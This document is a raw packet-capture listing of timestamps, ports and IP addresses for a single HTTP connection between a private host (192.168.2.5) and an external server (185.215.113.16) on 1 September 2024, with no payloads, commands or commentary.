Sep 1, 2024 01:30:11.968373060 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.968379974 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.968389988 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.968400002 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.968405008 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.968410969 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.968425989 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.968446970 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969424009 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969434977 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969445944 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969456911 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969485044 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969516039 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969532013 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969578981 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969580889 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969628096 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969641924 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969654083 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969664097 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969693899 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969722033 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969816923 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969867945 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969878912 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969888926 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969899893 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.969928980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.969957113 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970143080 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970154047 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970166922 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970177889 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970194101 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970223904 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970273018 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970307112 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970323086 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970359087 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970464945 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970475912 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970485926 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970495939 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970514059 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970514059 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970523119 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970534086 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970535040 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970545053 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970555067 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970571995 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970592022 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970594883 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970594883 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970643997 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970680952 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970691919 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970700979 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970711946 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970721006 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970731974 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970731974 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970741987 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970753908 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.970766068 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970766068 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.970788002 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971255064 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971273899 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971313000 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971308947 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971354961 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971354961 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971431017 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971441984 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971452951 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971462965 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971472025 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971482992 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971484900 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971518040 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971525908 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971535921 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971537113 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971546888 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971556902 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971565962 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971571922 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971575975 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971585989 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971611977 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971632957 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971662998 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971673965 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971683979 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971693993 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971704006 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971704006 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971714020 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971724033 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971751928 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971784115 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971805096 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971816063 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971824884 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971834898 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971843958 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971853971 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971853971 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971864939 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971879005 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971882105 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971889973 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971899986 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971910954 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.971923113 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971923113 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.971950054 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972410917 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972421885 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972431898 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972444057 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972454071 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972459078 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972470999 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972477913 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972523928 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972523928 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972523928 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972533941 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972551107 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972560883 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972569942 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972579956 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972580910 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972598076 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972599030 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972609043 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972619057 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972629070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972636938 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972636938 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972665071 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972672939 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972676992 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972687006 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972692013 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972697020 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972707987 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972712994 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972742081 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972760916 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972933054 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972944021 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972954035 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.972986937 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.972992897 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973005056 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973011017 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973021030 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973031998 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973038912 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973073959 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973145962 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973165035 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973176003 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973186016 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973196030 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973197937 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973206997 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973217010 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973226070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973236084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973246098 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973247051 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973256111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973265886 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973265886 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973275900 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973285913 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973295927 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973299026 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973305941 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973315001 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973315954 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973325968 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973349094 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973364115 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973381042 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973391056 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973401070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973411083 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973419905 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973429918 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973428965 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973444939 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973454952 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973454952 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973454952 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973467112 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973476887 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973481894 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973535061 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973898888 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973908901 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973927021 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973936081 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973944902 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973948956 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973956108 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.973965883 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.973980904 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974020958 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974030972 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974040985 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974050999 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974060059 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974070072 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974071980 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974081993 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974098921 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974148989 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974159956 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974164009 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974169970 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974181890 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974191904 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974203110 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974209070 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974209070 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974242926 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974343061 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974354029 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974364042 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974374056 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974384069 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974395037 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974406004 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974415064 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974415064 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974452972 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974452972 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974471092 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974482059 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974492073 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974502087 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974510908 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974510908 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974522114 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974533081 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974540949 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974543095 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974553108 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974572897 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974591017 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974611998 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974630117 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974642038 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974654913 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974658012 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974669933 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974674940 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974680901 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974690914 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974700928 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974701881 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974711895 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974725008 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974726915 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974737883 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974741936 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974747896 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974766016 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974772930 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974781036 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974792004 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974802017 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974812031 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974812984 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974812984 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974824905 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974836111 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974836111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974848032 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974858046 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974859953 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974870920 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974878073 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974883080 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974893093 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974896908 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974903107 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974912882 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974915028 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974936008 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974946022 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974953890 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974963903 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.974966049 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974976063 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974986076 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974996090 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.974998951 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975007057 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975017071 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975018024 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975033998 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975049973 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975202084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975213051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975256920 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975632906 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975684881 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975713015 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975723982 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975734949 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975744009 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975754976 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975759983 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975779057 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975780964 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975789070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975797892 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975799084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975810051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975819111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975825071 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975830078 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975852013 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975857019 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975867987 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975869894 CEST	49718	80	192.168.2.5	185.215.113.16
